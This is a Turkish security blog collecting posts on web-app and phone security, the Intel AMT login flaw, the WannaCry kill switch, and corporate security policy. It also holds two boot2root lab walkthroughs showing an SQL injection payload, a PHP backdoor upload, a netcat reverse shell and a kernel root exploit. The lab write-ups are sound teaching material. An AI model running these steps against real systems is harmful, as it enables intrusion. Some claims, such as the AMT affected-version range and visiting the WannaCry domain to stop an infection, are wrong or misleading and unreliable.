Web Uygulama Geliştiricileri için Güvenlik

Bulut üzerinde gerçekten güvenli ve sağlam bir web uygulaması geliştirmek zor bir iştir. Eğer kolay olduğunu düşünüyorsanız, emin olun bir yerde eksiğiniz vardır.

Örnek vermek gerekirse, eğer 1 ayda iyi ve güvenli bir ürün geliştirdiğinizi düşünüyorsanız, ürününüzü aşağıdaki listeye bakarak tekrar gözden geçirmenizde fayda var. Liste basit olmakla beraber tam değildir fakat web uygulama güvenliği açısından en kritik etmenleri içerisinde barındırır.

Veritabanı

  • Kullanıcı kimlik bilgileri, email adresleri ve varsa fatura adresi gibi veriler için şifreleme kullanın.
  • Eğer veritabanınız AWS Aurora gibi bir düşük bütçeli şifreleme destekliyorsa aktifleştirin. Bunu yapmak disk üzerindeki verilerinizi korumanızı sağlar. Ayrıca, veritabanı yedeklerinizin de şifreli tutulduğundan emin olun.
  • Veritabanı kullanıcı için izinleri, kullanıcının ihtiyacına göre ayarlayın. Yönetici hesabını kullanmamak ve veritabanı üzerinde zayıf parola barındıran kullanıcıları silmek de yapmanız gerekenler arasında.
  • Şifrelemeler ve hassas işlemler için gerekli anahtarları uygulamalarınızın içerisine gömülü olarak kullanmayın. Anahtarları saklayıp dağıtabileceğiniz bir yeriniz olsun.
  • SQL enjeksiyonlarını engellemek için “prepared statements” kullanın.

Yazılım Geliştirme

  • Yazılımınızın bütün parçalarının her versiyonlarında zafiyetlere karşı tarama yapılmış olduğundan emin olun.
  • Yazılımınızı izole edilmiş güvenli bir ortamda geliştirin.

Kimlik Doğrulama

  • Parolaları bcrypt gibi güvenli bir algoritmayla hashleyin. Kendi kripto algoritmanızı yazmayın, kullanılan ve güvenli olarak kabul edilen kripto algoritmalarını kullanın. Kabul görmüş algoritmaların “güvenli” olarak kabul edilmesi için yıllarca çalışıldı, milyonlarca insan her gün kullanıyor ve bulunan buglar için büyük bountyler veriliyor.
  • Kullanıcı girişi ve parola sıfırlama sayfalarında bilinen ve güvenli kabul edilen teknikler kullanın. Kendi tekniğinizi yaratmayın.
  • Basit ama güvenli bir parola politikası belirleyin. (uzun ve rastgele parolalar, parola güvenliği için önemli)
  • Kullanıcı girişlerinde birden fazla doğrulama kullanın. (bankacılık uygulamalarında telefona gönderilen doğrulama mesajı gibi)

Servis Dışı Bırakma Koruması

  • Servis dışı bırakma saldırılarının sitenizi zayıflatmaması için yavaş olan APIlarınızda ve kullanıcı girişi ile alakalı APIlarınızda erişim limiti kullanın (bir kişi dakikada 5 kere erişebilir gibi) ve kullanıcı girişi sayfalarında CAPTCHA kullanın.
  • Kullanıcı istek ve cevaplarında limitler kullanın.
  • CloudFlare gibi Servis Dışı Bırakma koruması kullanın.

Web Trafiği

  • Sitenizin tamamında TLS kullanın. İsteklerin hepsinde HTTPS ve “strict-transport-security” başlığını kullanın.
  • Çerezler “httpOnly” olmalı ve dizin ve domain sınırlı olmalı.
  • Kullanıcı cevaplarında X-Frame-Option, X-XSS-Protection başlıklarını kullanın.
  • HSTS cevaplarının TLS kullanmasını sağlayın. HTTP isteklerini HTTPS olarak yönlendirdiğinizden emin olun.
  • Bütün formlarda CSRF (Siteler arası istek sahtekarlığı) token kullanın. Aynı zamanda cevap olarak gelen çerezlerde SameSite başlığını kullanmanız CSRF riskini tamamıyla ortadan kaldıracaktır.

API Güvenliği

  • APIleriniz üzerindeki hiç bir kaynağın incelenebilir olmadığından emin olun.
  • APIlerinizi kullanan kullanıcıların yetkilerinin ve izinlerinin tam olduğundan emin olun.
  • Illegal ya da normal olmayan isteklere karşı kontroller yapın.

Doğrulama ve Karakter Kodlama

  • Kullanıcı tarafında girdi doğrulama yapın fakat kesinlikle güvenmeyin. Kullanıcı girdisini göstermeden önce kesinlikle karakter kodlamadan ve doğrulamadan geçirin.
  • Whitelist (sadece izin verilen girdilerin kabul edilmesi) yöntemiyle kullanıcı girdilerinin her parçasını kontrol etmeyi unutmayın. SQL sorgularında ya da sunucu tarafında çalışan bir serviste kesinlikle güvenilmeyen kullanıcı girdilerine güvenmeyin. Kullanıcı girdilerini direkt olarak cevaplara kesinlikle enjekte etmeyin.

Bulut konfigürasyonu

  • Servislerin sadece ihtiyacı olan portları kullandığından emin olun. Servisler için standart olmayan portları kullanmanız da saldırganların işini az da olsa zorlaştıracaktır.
  • Sunucuların backend sunucuları ve özel servislerin dışarıya açık olmadığından emin olun.
  • Servislerin sadece minimal IP adres setlerinden veri kabul ettiğinden emin olun.
  • Sunucudan giden trafik üzerinde IP ve port trafik kısıtlaması yapın.
  • Uygulama geliştiriciler ve diğer işlemleri yapan kullanıcıarın hesaplarının erişimlerini minimum seviyede tutun.
  • Parola ve erişim anahtarlarını düzenli aralıklarla değiştirin.

Altyapı

  • Otomatik olarak yazılımları güncelleyebileceğinizden ve güncelleme sırasında sistemlerin çalışır olacağından emin olun.
  • Terraform gibi arçlar yardıcımıyla altyapınızı oluşturun. Altyapınıza kod gibi davranın ve bir buton ile tekrar oluşturulabileceğinden emin olun. El ile oluşturulan her hangi bir kaynağa kesinlikle tolerans göstermeyin.
  • Bütün servisleriniz için merkezi bir giriş kullanın. Log erişimi ve yönetimi için SSH bağlantısı yapmanıza gerek olmasın.
  • Servis üzerindeki bir problemi çözmek haricinde o servise SSH bağlantısı yapıyor olmanız, önemli görevlerinizin otomasyona bağlanmamış olduğunu gösterir.
  • SSH portunu açık bırakmayın. SSH kullanacağınız zaman da, anahtar ile giriş yapın. SSH’a parola ile bağlanmayın.
  • Bir saldırı tespit sistemi kullanın.
  • Kullanılmayan servis ve sunucuları kapatın.

Test

  • Tasarım ve implementasyonunuzu gözden geçirin
  • Sisteminize sızma testi uygulayın. Fakat dışarıdan üçüncü bir göze de sızma testi yaptırın.

Eğitim

  • Çalışanlarınızı sosyal mühendisliğin tehlikelerine karşı eğitin.

Son olarak, bir planınız olsun

  • Neye karşı kendinizi koruduğunuza dair bir tehdit modeliniz olsun. Potansiyel tehdit ve aktörler için bir öncelik listesi oluşturun.
  • Üzerinde çalıştığınız bir olay müdahale planınız olsun. Emin olun, bir gün ihtiyacınız olacak.

Akıllı Telefonunuzu Ne Kadar Koruyorsunuz?

Günümüzde herkesin elinde olan ve bazıları için kişisel veri yuvası haline gelen akıllı telefonlarınızı ne kadar koruyorsunuz? Günümüzde neredeyse her beş kullanıcıdan birisi internette akıllı telefonu ile geziyor. Ve yine günümüzde, her on akıllı telefondan üçü zararlı bir tehtitle karşılaşıyor. Akıllı telefon kullanımının artması, siber suçluları da bu alana yönlendiriyor. Mobil zararlı yazılımların her geçen sene artmasıyla, tehtit daha da büyüyor. Bu zararlılar sizin kişisel bilgilerinizi çalmaktan tutun, verilerinizi şifreleyerek sizden fidye istemeye kadar varıyor.

Telefonunuzdaki hassas verilerden biraz bahsedelim;

  • Bankacılık aktivitelerinin %57’sinin mobil telefondan yapılıyor. (2015 yılı araştırma verilerine göre)
  • GPS gerektiren uygulamalar sizin nerede olduğunuzu biliyor. Bu bilgi genellikle telefonunuz üzerinde tutuluyor.
  • Bazı sitelere giriş için kullandığınız veya ödeme için istenen SMS mesajı ile aldığınız onay kodları telefonunuz üzerinde tutuluyor.
  • Sosyal medya uygulamalarından fotoğraf ve kişisel bilgi paylaşıyorsunuz.
  • Fitness ve sağlık uygulamaları sizin adımlarınızı, kalp atışınızı ve yeme düzeninizi tutuyor.

Bütün bunlar bir siber suçlunun hakkınızda pek çok şey öğrenmesi ve sizi hedef alması için yeterli. Hayatınızın bu kadar içinde olan ve kişisel verilerinizi tutan bir cihazı iyi korumanız gerekiyor.

Telefonlardaki güvenlik problemleri

En büyük güvenlik problemi bir yerde unutulan ve kaybolan telefonlar. Siz nereye giderseniz telefonunuz da sizinle beraber geliyor ve gittiğiniz yerde telefonunuzu unutma ihtimaliniz var. Eğer bir siber suçlunun telefonunuza fiziksel erişimi varsa, verilerinize erişmesi çok da zor değil.

Bir diğer güvenlik problemi üçüncü parti uygulamalar. Play Store ya da iTunes üzerinden değil de başka bir yerden indirdiğiniz uygulamalar güvenlik testlerinden geçmemiş uygulamalardır ve içerisinde zararlı yazılım barındırabilir. Apple iPhone bu konuda çok sıkıdır; uygulamalar sadece iTunes üzerinden indirilebilir ve bu yönüyle Android’den çok daha güvenlidir.

Diğer bir problem ise güncellemeler. Telefonlarını aktif olarak kullanan insanlar genellikle güncellemekten kaçınmakta, bazıları tamamen kapatmakta. Unutmayın, o güncellemeler içerisinde güvenlik yamaları barındırıyor ve bazı durumlarda siber suçluları uzak tutuyor.

Sosyal mühendislik ve oltalama yöntemleri de bilgisayarlarda olduğu gibi mobil cihazların da güvenlik problemleri arasında. Aldığınız SMS mesajlarına dikkat edin.

Son olarak, telefonlar üzerinde kullanılan güvenlik önlemleri pek de yaygın değil. Bilgisayarınızı korumak için kullandığınız antivirüsler ve diğer güvenlik çözümleri varken telefonunuzun korumasını işletim sistemi ve uygulamaların güvenliklerine bırakıyoruz.

Güvenli kalmanın yolları

  • Telefonunuzun ana ekranı mutlaka parola korumalı ve mümkünse parmak izi korumalı olsun. Parola korumasının devreye girmesi için gereken süre opsiyonunun 30 saniyeden az olması sizi ne kadar rahatsız etse de güvenlik için önemli.
  • Verilerinizi şifreleyin.
  • Telefonunuzun çalınması durumunu göz önünde bulundurarak, telefonunuzun içerisindeki her şeyi uzaktan silebileceğinizden emin olun. Android ve iPhone telefonlarda olan bu özellik size aynı zamanda telefonunuzun konumunu da söyleyebilir.
  • Verilerinizi yedekleyin. Cloud servislere güvenmiyorsanız telefonunuzu zaman zaman bilgisayarınıza bağlayarak bu işlemi gerçekleştirin.
  • Üçüncü parti uygulamalardan uzak durun. Android kullanıcılarının özellikle gereğinden fazla izin isteyen uygulamalardan (mesajlaşma uygulamasının lokasyonunuzu istemesi gibi) uzak durmasında fayda var.
  • Eğer ne yaptığınızı bilmiyorsanız, telefonunuzu jailbreaklemeyin (iPhone) ya da rootlamayın (Android). Telefonunuzun güvenliğini kendi elinizle zayıflatıyorsunuz.
  • Güncellemelerinizi kesinlikle yapın. Android telefonlar yeni güvenlik güncellemeleri konusunda iPhone telefonlara göre biraz daha yavaş kalıyorlar. Aynı zamanda, Android telefonlara verilen güncelleme desteğinin süresi de kısıtlı. Eğer telefonunuz bu güncellemeleri mümkün olduğunca uzun süre alsın istiyorsanız, telefonunuzu araştırmadan satın almayın.
  • Sosyal mühendislik saldırılarına karşı dikkatli olun. Bankacılık uygulama mesajları, kötü niyetli SMS mesajları ve emaillere karşı dikkatli olun. Eğer bir mesaj ya da mail şüpheli görünüyorsa, muhtemelen öyledir.
  • Herkese açık wifi ağlarını dikkatli kullanın. Hassas verilerinizi içeren uygulamaları bu ağlarda kullanmamaya özen gösterin.
  • Telefonunuza zararlı yazılımlara karşı koruma yükleyin.

Intel AMT, ne kadar tehlikedesiniz?

Intel AMT nedir?

Intel tabanlı çiplerde gömülü olarak bulunan Active Management Technology (AMT), adminlerin oturdukları uzaktan kurum içerisindeki bilgisayarları yönetmesini ve bir sorun olduğunda müdahale etmesini sağlayan, 16992 ve 16993 portlarını kullanan bir teknolojidir.

Intel AMT Zafiyeti Nerede Bulunuyor?

Intel AMT web arayüzü kimlik doğrulama barındırıyor. (HTTP digest ve Kerberos) Zafiyet de tam olarak HTTP Digest protokolünde bulunuyor.

if(strncmp(computer_response, user_response, response_length))
exit(0x99);

Strncmp() “binary safe” string karşılaştırma fonksiyonudur ve stringlerin eşit olma durumuna göre negatif, sıfır veya pozitif sayı döndürür.

Başarılı bir giriş için, user_response parametresinin computer_response parametresine eşit olması gerekiyor; yani strncmp() fonksiyonundan dönen değerin 0 olması lazım.

Fakat, fonksiyon içerisinde yapılan bir hatadan dolayı strncmp() fonksiyonu user_response parametresinin uzunluğunu kullanıyor. “User_response” değeri sunucuya boş olarak yollandığında parametre uzunluğu da 0 olacağından, sunucu kimlik doğrulamayı “başarılı” kabul ediyor ve yönetim sayfasına giriş yapmış oluyorsunuz!

Peki ne kadar tehlikeli?

Bu zafiyeti içeren bilgisayarlar kapalıyken dahi hacklenebilir. Potansiyel bir saldırgan bir system adminin yapabildiği her şeyi yapabilir: karşı sisteme istediği dosyayı yükleyebilir/okuyabilir/çalıştırabilir, bilgisayarları kapatabilir/açabilir/reset atabilir.

Kurtulmak için ne yapmak gerekli?

Versiyon 6 ve 11.6 arası yazılımlar bu zafiyetten etkilenmediler. Fakat diğer sürümler için patch, zafiyet tespit ve çözüm rehberleri Intel tarafından yayımlandı.

Zafiyetin sömürülmesinin ne kadar kolay olabileceğiyle alakalı örnek bir videoyu aşağıda izleyebilirsiniz

WannaCry / Wcry / WannaCrypt Fidye Yazılımı kill switch barındırıyor

WannaCrypt

Haftasonu, bir siber saldırıyla başlamazsa olmazdı değil mi? Mart ayında çıkan MS17-010 güvenlik güncelleştirmesini yapmayan bilgisayarları port 139 ve 445 üzerinden ETERNALBLUE (Sızdırılan NSA araçlarının içerisinde bulunan 0-daylerden bir tanesi) ile yayılan bu fidye yazılımı, bulduğu bütün disk sürücülerinin içerisindeki dosyaları 2048-bit RSA ile şifreliyor. En ilginci ise, içerisinde bir kill-switch barındırıyor.

Screen Shot 2017-05-13 at 13.01.39.png

Kod içerisinde bulunan bu satırda, geliştiricilerden birinin klavyeye gözünü kapatarak bastığı ve ürettiği “iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com” adında bir siteye bağlanmaya çalıştığını görebilirsiniz. Eğer fidye yazılımı bu adres ile iletişime geçebilirse çalışmayı durduruyor fakat bu alan adı kayıtlı olmadığından bu işlemi başaramıyordunuz.

Fakat artık bu mümkün! Alan adı artık kayıt ettirildiği için, eğer fidye yazılımına maruz kaldıysanız  iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com adresini ziyaret ederek yazılımın “kill-switch”ini aktif edebilirsiniz.

Boot2Root: HackademicRTB2

ISO dosyasına buradan ulaşabilirsiniz.

Hedef: Makinayı rootlamak ve encoded ‘key.txt’ dosyasını okumak.

Makina hakkında ulaşılabilen bilgiler:

  • Linux işletim sistemine sahip
  • DHCP servisi açık, otomatik olarak IP alıyor
  • Üzerinde Apache, MySQL ve PHP çalışıyor
  • Açık parola, hak yükseltme, SQL injection ve kısıtlanmamış dosya yükleme zafiyetleri içeriyor

ISO dosyası kurulduktan ve işletim sistemi başlatıldıktan sonra bizi bir giriş ekranı karşılıyor. Makinayı bulabilmek için netdiscover ile ağ üzerinde bir tarama yapıyoruz.

Screen Shot 2017-05-10 at 14.54.09.png

Makinanın IP adresinin 172.16.28.136 olduğu bulunduktan sonra, nmap taraması port 80 harici bir portu açık döndürmediği için sayfayı ziyaret ediyoruz. (port 666 filtreli gelmekte)

Screen Shot 2017-05-10 at 14.55.09.png

SQLi denemelerinden sonra yapılan nmap taramasında port 666 açılıyor. (Port knocking)

Screen Shot 2017-05-10 at 14.56.37.png

Port 666’ya gittiğimizde bizi yeni bir web sayfası karşılıyor.

Screen Shot 2017-05-10 at 14.56.48.png

Login sayfasının URL’i üzerinden ‘letter’ parametresi kullanılarak SQLi yapabiliyoruz.

Screen Shot 2017-05-10 at 14.57.44.png

SQL injection kullanarak veritabanı bilgilerini çıkardıktan sonra, (Joomla veritabanı içerisinde kullanıcı parola bilgileri md5 olarak tutulmakta) phpmyadmin sayfasından veritabanına root olarak giriş yapıyoruz.

/* Database Settings */ 
var $dbtype = 'mysql'; 
var $host = 'localhost'; 
var $user = 'root'; 
var $password = 'yUtJklM97W'; 
var $db = 'joomla'; 
var $dbprefix = 'jos_';

SQL query üzerinden kendimize bir shell elde ediyoruz:

Screen Shot 2017-05-10 at 14.59.55.png

Elde ettiğimiz shell üzerinden sisteme backdoor atıyoruz ve interaktif bir shell elde ediyoruz:

root@kali:~# nc -lnvp 4444
listening on [any] 4444 ...
connect to [172.16.28.136] from (UNKNOWN) [172.16.28.137] 46657

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux HackademicRTB2 2.6.32-24-generic #39-Ubuntu SMP Wed May 10 12:01:29 UTC 2017 i686 GNU/Linux

shell.php arka kapımızı çalıştırdığımızda, makina üzerinden reverse shell elde etmiş olduk. Yetki durumumuz ve çalışan işletim sistemi versiyonunu yukarıda görüyoruz.

Linux 2.6.32 versiyonu üzerinde yerel hak yükseltme zafiyetlerini araştırdığımızda karşımıza pek çok zafiyet çıkıyor. Bir önceki box’da kullandığımız CVE-2010-3904 kodlu zafiyeti shell üzerinden makinaya indiriyor ve çalıştırıyoruz.

./poc
[*] Linux kernel >= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc08cac4c
 [+] Resolved default_security_ops to 0xc0773340
 [+] Resolved cap_ptrace_traceme to 0xc02f5060
 [+] Resolved commit_creds to 0xc016dd80
 [+] Resolved prepare_kernel_cred to 0xc016e0c0
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...
[*] Got root!

id

uid=0(root) gid=0(root)

Key.txt’yi buluyor ve içini okuyoruz.

cat Key.txt
iVBORw0KGgoAAAANSUhEUgAAAvQAAAFYCAIAAACziP9JAAAACXBIWXMAAAsTAAALEwEAmpwYAAAg
AElEQVR4nOy9eZhdVZXw/bu35iFVlXmgUiQhBAIJEGKMAQGDb1rpbj5EjYK8KIoy+SniIyC2Q4uC
[...]
FgwAAIAbCG7bxMfH6x0dAADAEMXFxQ2a2SxcuFDv0AAAADQJCgoqLi7uS2tKS0uTkpL0DgoAAMA1
QUFBycnJYWFhegcCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAACg0f8BeD+YFbp5dlYAAAAASUVORK5CYII=

Key.txt’nin base64 encoded olduğundan, ona göre düzenliyoruz.

base64 -d Key.txt > tmpfile
file tmpfile
tmpfile: PNG image, 756 x 344, 8-bit/color RGB, non-interlaced

Ve resmi görüntülüyoruz.

rtb2-win.png

Amacımıza ulaştık!

 

Boot2Root: HackademicRTB1

ISO dosyasına buradan ulaşabilirsiniz.

Hedef: Makinayı rootlamak ve ‘key.txt’ dosyasını okumak.

Makina hakkında ulaşılabilen bilgiler:

  • Linux işletim sistemine sahip
  • DHCP servisi açık, otomatik olarak IP alıyor
  • Üzerinde Apache, MySQL ve PHP çalışıyor
  • Açık parola, hak yükseltme, aynı kimlik bilgilerinin birden fazla yerde kullanılması, SQL injection ve kısıtlanmamış dosya yükleme zafiyetleri içeriyor

ISO dosyası kurulduktan ve işletim sistemi başlatıldıktan sonra bizi bir giriş ekranı karşılıyor. Makinayı bulabilmek için netdiscover ile ağ üzerinde bir tarama yapıyoruz:

Screen Shot 2017-05-04 at 19.15.39.png

Makinanın IP adresinin 172.16.28.135 olduğu bulunduktan sonra, pasif keşif sırasında bulduğumuz çalışan servislerin portlarının tespiti için bir nmap taraması yapıyoruz:

Screen Shot 2017-05-04 at 19.18.01.png

Görüyoruz ki, MySQL servisi dışarıya açık değil. Sayfayı ziyaret ettiğimizde bizi bir index sayfası karşılıyor. Kaynak koduna baktığımızda ise site üzerinde WordPress 1.5.1.1 kullanıldığını görüyoruz.

Screen Shot 2017-05-04 at 19.19.23.png

WordPress 1.5.1.1 versiyonu hakkında zafiyet taraması yapıldığında, SQL injection barındırdığı görülmektedir.

Screen Shot 2017-05-04 at 19.25.37.png

URL üzerinden ‘cat’ parametresi kullanılarak bunu doğruladıktan ve çeşitli yöntemler denedikten sonra veritabanı üzerinde 5 kolon olduğunu ve ikinci kolonun varchar olduğunu tespit ediyoruz. (örnek payload: http://172.16.28.135/Hackademic_RTB1/?cat=99 and sleep(5) union select 1,2,3,4,5)

SQL injection kullanarak kullanıcı bilgileri çıkarıldıktan sonra, (parola bilgileri hem açık olarak hem de md5 olarak tutulmakta) md5 hashlerinin açık hallerine ulaşıyoruz.

Screen Shot 2017-05-04 at 19.23.54.png

WordPress giriş sayfası wp-login.php uzantısına giderek kullanıcılara bakıldığında, GeorgeMiller’ın admin yetkileri olduğunu görüyoruz. Admin panelinde bulunan options kısmında dosya yükleme opsiyonu ve izin verilecek dosya uzantılarını buluyoruz.

Screen Shot 2017-05-04 at 19.27.35.png

wp-content.php uzantısından görüntülenebilen yüklenmiş dosyalar arasına arka kapımızı upload ediyoruz.

Screen Shot 2017-05-04 at 19.29.49.png

shell.php arka kapımızı çalıştırdığımızda, makina üzerinden reverse shell elde etmiş olduk. Yetki durumumuz ve çalışan işletim sistemi versiyonunu aşağıda görüyoruz.

Screen Shot 2017-05-04 at 19.30.19.png

Linux 2.6.31 versiyonu üzerinde yerel hak yükseltme zafiyetlerini araştırdığımızda karşımıza pek çok zafiyet çıkıyor. CVE-2010-3904 kodlu zafiyeti shell üzerinden makinaya indiriyor ve çalıştırıyoruz.

Screen Shot 2017-05-04 at 19.33.00.png

“root is a state of mind” diye boşuna dememişler! Key.txt’yi buluyor ve içini okuyoruz.

Screen Shot 2017-05-04 at 19.34.41

Amacımıza ulaştık!

Kurumunuz güvende mi?

Günümüzde artan internet kullanımı ve kurumların internet üzerindeki varlıkları, bu alanda artarak giden güvenlik ihtiyacını da beraberinde getiriyor. Bu yüzden, kurum içi bilgi güvenliğini sağlamak adına yapılması gerekenleri ve nereden başlanması gerektiğini belirlemek ve yol almak zor olabilir. Aşağıda bu konuda size yardımcı olacak bir rehber bulabilirsiniz.

Bu rehber, uygulanması gereken bütün güvenlik adımlarını kapsamamakta olup güvenlik prensibi olarak edinmeniz gereken en temel ve en kritik maddeleri içermektedir.

Bu rehberin amacı; 

  • Kurum içi güvenlik politikalarınızı oluştururken üzerinde durulması gereken gereken en can alıcı noktaları göstermek.
  • Hali hazırda uyguladığınız güvenlik programlarınız var ise bunları gözden geçirirken kullanabileceğiniz, bir checklist şeklinde takip edebileceğiniz bir liste sunmak.

Kapsamlı Bir Güvenlik Politikası Hazırlama

Çalışanlarınız ağ içerisinde neler yapıp, neler yapmamaları gerektiğini biliyorlar mı?

Bu bağlamda yapılabilecekler:

  • Bir güvenlik politikası oluşturun. Örnek olabilecek spesifik politikalar; risk yönetimi , zafiyet yönetimi, veri korunması, erişim kontrolleri, iş devamı, log yönetimi ve denetimi, personel güvenliği, fiziksel güvenlik, güvenli yazılım geliştirme ve olay müdahale politikaları.
  • Neyin ne derece korunması gerektiğini belirleyin. Güvenlik ile alakalı düzenlemeler ve hukuki yaptırımlardan haberdar olun.
  • Güvenlik politikaları çalışanlardan beklenenleri ve uyulmadığı taktirde gerçekleştirilecek yaptırımları açıkca belirtmeli.
  • Politikalar kolayca anlaşılabilir ve erişilebilir olmalı, düzenli olarak gözden geçirilmeli ve dönemin, kurumun şartlarına göre güncellenmelidir. Yapılan değişiklikler bütünlük sağlaması ve kolay gözden geçirilmesi adına tarihlendirilip versiyonlarına göre isimlendirilmelidir.
  • Sektörünüzün gerektirdiği standartlardan yola çıkarak politikalarınızı şekillendirin.

Düzenli Denetim

Güvenlik programınız iyi çalışıyor mu? Güvenlik politikalarınız ne derece uygulanıyor?

Bu bağlamda yapılabilecekler:

  • Düzenli aralıklarla kontrol amaçlı kurum içi phishing mailleri yollayın, zafiyet analizlerinizi ve sızma testlerinizi yaptırın.
  • Güvenlik politikalarınızı kontrol etmek için checklistler kullanın.

Eğitim

Çalışanlarınızın şirketinizi her hangi bir phishing ya da sosyal mühendislik saldırısından koruyabilecek kadar bilgili mi? Uygulama geliştiren personeliniz güvenli kod yazmayı biliyor mu? Eğitim yoluyla proaktif koruma, özellikle sosyal mühendislik saldırılarına karşı, ve uygulama geliştiricilerinize uygulamalar üzerindeki yaygın güvenlik zafiyetleri konusunda verilen eğitimler daha güvenli ürünlere ve şirket ortamına sahip olmanız açısından büyük önem taşır.

Bu bağlamda yapılabilecekler:

  • Çalışanlarınızın işe alındığında güvenlik politikalarınız konusunda bir eğitimden geçirildiğinden emin olun.
  • Çalışanlarınıza düzenli eğitimler verin. (online veya offline)

Loglama

Ağınızda olup bitenden anında haberiniz oluyor mu? Sistemlerinizde her hangi bir güvenlik olayı olduğunda, olup biteni kaynağına kadar takip edebiliyor musunuz? Düzgün bir loglama ile, ağınızda istem dışı bir durum olduğunda (örn. hard disk bozulması, güç kesintisi veya veri çalınması) bundan haberiniz olmalı ve duruma sebep olan öğeleri kaynağına kadar takip edebilmelisiniz.

Bu bağlamda yapılabilecekler:

  • Bu konuda kesinlikle genel çözümlere başvurmayın, her kurumun sistem ve öncelikleri kendine özeldir. Kurumunuzun sistemlerini gözden geçirip, izlenmesi gereken kritik öğeleri belirlemeniz ve bu sistemler üzerinde ters giden bir şeyler olduğu durumlarda tetiklenecek alarm konfigürasyonlarını yapmanız gerekiyor.
  • Bütün loglarınızı arşivleyin. Eğer sistemleriniz çok meşgul yada büyükse ve bütün logları arşivleyemeyecekseniz, kritik sistemlerin loglarını mutlaka arşivleyin.
  • Uygulama loglarının bütünlüğünü sağlamak adına log isimlerini ve hata kodlarını uyumlu olarak isimlendirin.

Güncelleme Yönetimi

Uygulamalarınız ve işletim sistemleriniz en güncel versiyonda mı? Güncellemeler otomatik mi yapılıyor? İşletim sistemlerinizi ve uygulamalarını güncel tutarak %99 oranında teknik saldırılardan kendinizi koruyabilirsiniz, %1’lik kısım tahmin edebileceğiniz üzere 0-day saldırılardır.

Bu bağlamda yapılabilecekler:

  • Sistemleriniz üzerinde çalışan işletim sistemi ve uygulamalarınızı güncel tutun.
  • Bilgisayarlar için her zaman güncel ve temiz bir imaj dosyası bulundurun.
  • Güncellemeleri otomatize edin.
  • Kullanmadığınız uygulamaları devre dışı bırakarak, diğer bir deyişle, sadece ihtiyacınız olan uygulamaları kullanarak saldırı vektörlerini daraltın.

En Düşük Erişim Hakkı

Administrator hesaplarınızın kullanımı sınırlandırılmış mı? Şirket içindeki hesapların yetki ve erişimlerinden haberdar mısınız? Erişimi mümkün olduğunca minimumda tutmak izinsiz kullanıcıların hassas bilgilere ulaşmasını engeller. Windows işletim sistemleri üzerindeki kritik açıkların %96’sı admin haklarının kaldırılmasıyla önlenebilir.

  • Çalışanlar kesinlikle bilgisayarları üzerinde administrator yetkilerine sahip olmamalı.
  • Administrator seviyesindeki kullanıcılar sadece gerektiğinde kullanılmalı.
  • Dosya ve dizinler sadece o dosya ve dizin ile işi olan kullanıcılara açık olmalı.
  • Servisler sadece işlevlerini yerine getirebilecek kadar yetkiyle çalışmalı.
  • Kullanıcılar ve yetkileri düzenli olarak gözden geçirilmeli.

Ağ İçi Ayrım

Şirket ve misafir ağlarınız ayrı mı? Geliştirme yaptığınız sunucular çalışanlarınız ile aynı ağda mı? Hassas sistemlerinizin diğer sistemlerden ayrı tutulması büyük önem taşır.

Bu bağlamda yapılabilecekler:

  • Şirket ve misafir ağları ayrı olmalı.
  • Farklı sistemler üzerinden geçen trafikleri ayırmak için erişim kontrol listesi tanımlanmış switchler kullanın.
  • Kablolu ve kablosuz routerlarınızda NAC kullanın. Sadece izin verilen MAC adresleri ve bu adreslere tanımlı kullanıcı adı ve parolaya sahip kişilerin ağlara erişimine izin verin.
  • Kurum içi ağ haritanızı çıkarın ve düzenli olarak güncelleyin. Ağ haritasında hassas sistemlerinizin gözle görülür bir biçimde diğer sistemlerinizden ayrı olmasına dikkat edin.

Düzenli yedekleme

Kritik verilerinizin yedeklerini düzenli olarak alıyor musunuz? Yedekleme işlemi otomatik mi? Ne kadar sıklıkla verilerinizin yedeklerini alıyorsunuz? Şirket verilerinizi her türlü olaydan (hacker, ransomware, deprem, sel vs.) korumak için verilerinizi düzenli olarak yedekleyip korunaklı bir yerde tutmanız büyük önem taşır.

Bu bağlamda yapılabilecekler:

  • Yedeklerinizi düzenli olarak test edin. En az ayda bir yedeklerinizi çalıştırmayı deneyin. (emin olun, bunu yapmak çok önemli)
  • Kritik verilerinizi günlük yedekleyin, diğer verilerinizi ise hafta bir yedekleyin. Bu sıklığı risk toleransınıza ve şirket ihtiyaçlarınıza göre değiştirebilirsiniz.
  • Yedekleme işlemini otomatize edin.
  • Yedekleriniz, yedekleme işlemi gerçekleşmediği zamanlarda kurum ağından uzakta bir şekilde saklanmalı. (ransomware kurbanı olmayın)

Fiziksel Güvenlik

Her hangi bir fiziksel güvenlik saldırısı için caydırıcı etkenleriniz mevcut mu, yoksa kapılarınız bu saldırılara sonuna kadar açık mı? Sunucu odalarınız her hangi birinin gelip de USB takabilmesine mahal veriyor mu? Doğru fiziksel korumalarla, veri hırsızlığı ya da basit fiziksel güvenlik saldırılarıyla işlerinizin bölünmesini engelleyebilirsiniz.

Bu bağlamda yapılabilecekler:

  • Bina içerisinde bulunan bütün kapı kilitlerinin güvenliğine dikkat edin. Kilitlerin RFID, güvenlik pini ve biyometrik okuyucular gibi özellikleri bulunmasına dikkat edin.
  • Erişimi kolay olan pencerelerinizi parmaklıklar ile korumayı ihmal etmeyin.
  • Binanın bütün girişlerini ve pencereleri kapsayacak şekilde güvenlik kameraları yerleştirin.
  • Binada dolaşacak ve güvenlik kameralarını takip edecek yeterli sayıda güvenlik görevliniz olsun.
  • Kapılarınızın ve menteşelerinin güvenlirliğinden emin olun.
  • Kritik önem taşıyan yerler ve sunucu odalarınızın bir kaç güvenlik katmanı ile korunduğundan emin olun.